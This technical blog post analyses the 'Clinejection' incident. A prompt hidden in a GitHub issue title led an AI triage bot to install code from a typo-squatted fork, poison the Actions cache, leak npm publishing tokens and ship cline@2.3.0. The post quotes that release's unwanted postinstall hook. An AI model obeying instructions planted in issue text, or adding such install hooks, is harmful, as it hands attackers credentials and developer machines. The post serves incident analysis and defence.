Tech 9 min read

Clinejection: how a GitHub issue title pushed an AI agent onto 4,000 developer machines

IkesanContents

On February 17, 2026, cline@2.3.0 was published to npm. The CLI binary was identical to the previous release. The only change was one line added to package.json:

"postinstall": "npm install -g openclaw@latest"

Within eight hours, about 4,000 developer machines that installed or updated Cline had OpenClaw, an AI agent, globally installed without user consent. Snyk named the chain “Clinejection.”

The interesting part is not the payload itself. It is how the attackers got the npm token in the first place. They planted a prompt in a GitHub issue title and tricked an AI triage bot into interpreting it as an instruction, which let them walk away with CI/CD credentials.

How this differs from older npm supply-chain attacks

There is a long history of npm supply-chain attacks, but they usually start by compromising a human.

Attack patternEntry pointExample
Maintainer account takeoversteal npm credentials and publish a malicious releaseua-parser-js in 2021, which shipped a crypto miner and credential stealer to millions of downloads
Social engineeringgain a maintainer’s trust and obtain repo controlevent-stream in 2018, where an attacker posed as a contributor and targeted a Bitcoin wallet
Typosquattingpublish a lookalike package and rely on mistyped installscrossenv in 2017, a fake version of cross-env that exfiltrated environment variables
Dependency confusionregister a public package with the same name as an internal oneAlex Birsan’s 2021 disclosure against Apple, Microsoft, Tesla, and others
Maintainer-side malicious changethe author intentionally inserts malicious codenode-ipc in 2022, which added destructive code in protest of the Russia-Ukraine war
Clinejectionprompt injection against an AI agent steals CI/CD credentialsCline in 2026, where a single issue title triggered a five-step attack chain

The earlier attacks all started by tricking a human or stealing a human’s credentials. Clinejection is different because the attacker starts with an AI agent. Just opening one GitHub issue was enough to let the AI execute code, poison a cache, and exfiltrate secrets. No human maintainer was directly involved in any step of the chain.

The five-step attack chain

flowchart TD
    A["Step 1<br/>Attacker creates a GitHub issue<br/>and hides a prompt in the title"] --> B["Step 2<br/>claude-code-action starts<br/>and interprets the title as an instruction<br/>then runs npm install from the attacker's fork"]
    B --> C["Step 3<br/>the preinstall script drops Cacheract<br/>fills more than 10GB with junk<br/>and plants a poisoned cache entry"]
    C --> D["Step 4<br/>the nightly release workflow restores the cache<br/>and leaks three credentials, including NPM_RELEASE_TOKEN"]
    D --> E["Step 5<br/>the stolen npm token is used to publish<br/>cline@2.3.0, which globally installs OpenClaw"]

Step 1: prompt injection through the issue title

Cline used Anthropic’s claude-code-action to run an AI-powered issue triage workflow in GitHub Actions.

The problem was the configuration. allowed_non_write_users: "*" let any GitHub user, even one without write access, trigger the workflow just by opening an issue. That setting is intended for very limited workflows, such as one that only adds labels, and Anthropic’s own docs warn to use it with extreme caution. Cline’s triage workflow had far broader power.

The issue title was interpolated directly into the prompt as ${{ github.event.issue.title }} with no sanitization. Since GitHub Actions expands that expression into a string at runtime, any text in the title becomes the model’s instruction.

On January 28, 2026, the attacker opened issue #8904, disguised as a performance report. The title contained a hidden instruction to install a package from the attacker’s fork.

Step 2: the AI runs code

Claude interpreted the injected instruction as a legitimate task and ran an npm install command pointing to the attacker’s fork. The repository name was a typo-squatted glthub-actions/cline - the i in github was missing. The package.json in that fork contained a preinstall script that fetched and ran an external shell script.

This is a classic case of indirect prompt injection: user input is mixed into the trusted context, and the AI can no longer tell the attacker’s instruction from the user’s real request.

Step 3: GitHub Actions cache poisoning

The shell script deployed Cacheract, a GitHub Actions cache poisoning tool.

GitHub Actions caches are shared per repository. Even if workflows do not explicitly share cache, jobs on the default branch can read and write the same cache scope. That means a low-privilege triage workflow and a high-privilege nightly release workflow can end up sharing the same cache space.

The cache limit is 10GB per repository. Once that limit is exceeded, GitHub evicts the least recently used entries. Cacheract abuses that behavior.

flowchart TD
    A["Cacheract writes more than 10GB<br/>of junk data"] --> B["GitHub's LRU eviction kicks in<br/>and deletes the legit cache entry"]
    B --> C["A poisoned node_modules cache is written<br/>to match the nightly workflow's key"]
    C --> D["The nightly workflow restores the cache<br/>and expands the poisoned node_modules"]

Step 4: credential theft

When the nightly release workflow runs, it restores the poisoned cache. The following three credentials were exposed as environment variables:

CredentialPurpose
NPM_RELEASE_TOKENpublish packages to npm
VSCE_PATpublish to the VS Code Marketplace
OVSX_PATpublish to the OpenVSX registry

Scripts inside the poisoned node_modules sent those secrets to an external server.

Step 5: publishing the malicious package

Using the stolen npm token, the attacker published cline@2.3.0 with an OpenClaw postinstall hook. The package was published manually under the account clinebotorg, not through the normal CI/CD path.

About 14 minutes later, StepSecurity’s monitoring detected the anomaly. Its Artifact Monitor watches release patterns, provenance, and unexpected publication channels. In this case it found two red flags: no provenance attestation and a release published outside the normal CI/CD pipeline. But about 4,000 downloads happened in the eight hours before the package was deprecated.

What OpenClaw was actually capable of

OpenClaw itself was a legitimate open-source project, not malware. The problem was the breadth of its permissions.

OpenClaw uses a hub-and-spoke architecture centered on a process called Gateway. Gateway runs as a background daemon and starts automatically on macOS via LaunchAgent or on Linux via systemd. By default it sends a heartbeat every 30 minutes and reads HEARTBEAT.md inside the workspace to decide what tasks to run.

flowchart LR
    A["OpenClaw Gateway<br/>(persistent daemon)"] --> B["Shell command execution<br/>(via bash tool)"]
    A --> C["File read / write"]
    A --> D["Web browsing"]
    A --> E["12+ messaging platform integrations<br/>WhatsApp, Telegram,<br/>Slack, Discord, etc."]
    A --> F["API calls"]

If developers install it intentionally, they can constrain it with sandbox mode. But when it is installed globally through a postinstall hook, the user never goes through setup. It runs in full-access mode by default and can execute shell commands, access the filesystem, and control a browser.

Endor Labs called the payload “close to a PoC,” but the important issue is the structure, not just the immediate damage.

The confused deputy problem

Clinejection is a textbook confused-deputy case.

The term comes from Norm Hardy’s 1988 security essay. It describes a program with legitimate authority being tricked into misusing that authority on behalf of a less-privileged attacker. CSRF and clickjacking are both variants of this pattern.

In Clinejection, the developer gave Cline the authority to act as a deputy. Cline had npm publishing credentials and was part of the GitHub Actions pipeline. The attacker tricked Cline’s triage bot into delegating that power to OpenClaw, an agent the developer had never reviewed or approved.

flowchart LR
    A["Developer"] -->|"grants trust"| B["Cline<br/>(deputy)"]
    B -->|"prompt injection<br/>delegates authority"| C["OpenClaw<br/>(unapproved agent)"]
    D["Attacker"] -->|"instructions via issue title"| B

The more AI agents proliferate, the more serious this problem becomes. Human maintainers can notice that something is off. AI agents cannot reliably distinguish an attacker’s instruction embedded in a prompt from the user’s real instruction.

The timeline

DateEvent
Late December 2025security researcher Adnan Khan discovers the full chain
January 1, 2026Khan submits a GitHub Security Advisory
January to early Februaryfive weeks of follow-up with no response from the Cline team
January 28attacker opens issue #8904 and executes the prompt injection
February 9Khan publicly discloses the vulnerability
February 9, 30 minutes laterCline removes the AI triage workflow
February 10credential rotation begins, but the wrong token is removed and the leaked one stays valid
February 11the mistake is noticed and the tokens are rotated again
February 17, 03:26 PTattacker publishes cline@2.3.0 using the stolen npm token
February 17, 03:40 PTStepSecurity detects the anomaly
February 17, 11:23 PTCline publishes 2.4.0, deprecates 2.3.0, and revokes the token

Khan was not the attacker. Another unknown group found his public PoC and weaponized it directly against Cline.

Why the usual defenses failed

DefenseWhy it failed
npm auditOpenClaw was published as a legitimate package, not as malware
Code reviewthe CLI binary was identical to the previous release; only one line in package.json changed
Permission promptsthe postinstall hook runs inside npm install, before the AI tool can ask for confirmation

Why npm provenance would have helped

Cline was not using npm provenance attestation at the time. A long-lived manual token was enough to publish packages.

The basic flow of npm provenance is:

flowchart TD
    A["GitHub Actions workflow runs<br/>npm publish"] --> B["CI environment issues an OIDC token<br/>(short-lived identity tied to the workflow)"]
    B --> C["Send the OIDC token to Fulcio CA"]
    C --> D["Fulcio issues a short-lived X.509 certificate<br/>(bound to the CI job)"]
    D --> E["Use a disposable keypair to sign the provenance statement"]
    E --> F["Signature and provenance are recorded<br/>in Sigstore's transparency log"]
    F --> G["npm registry publishes the package<br/>with provenance attached"]
ItemTraditional npm tokenOIDC provenance attestation
Token lifetimevalid until manually revoked, often months or yearsonly valid for the specific publish operation, typically minutes
Proof of originnone; whoever has the token can publish from anywhererequires a cryptographic proof from a specific GitHub Actions workflow
Tamper detectionnoneprovable through Sigstore transparency logs
If stolentoken alone is enough to publishtoken alone is not enough; the CI OIDC token is also required

If provenance had been enabled, the attack would have stopped at Step 5. The attacker might have stolen the npm token, but without the GitHub Actions OIDC token they could not publish the package. That is why StepSecurity flagged the lack of provenance as abnormal.

What Cline did afterward

The Cline post-mortem proposed these actions:

ActionDetails
Remove cache usedelete GitHub Actions cache usage from credential-handling workflows
Move to OIDC provenanceuse OIDC-based provenance for npm publishing and drop long-lived tokens
Add rotation confirmationrequire explicit confirmation when rotating credentials
Improve disclosure processbuild a disclosure process with SLAs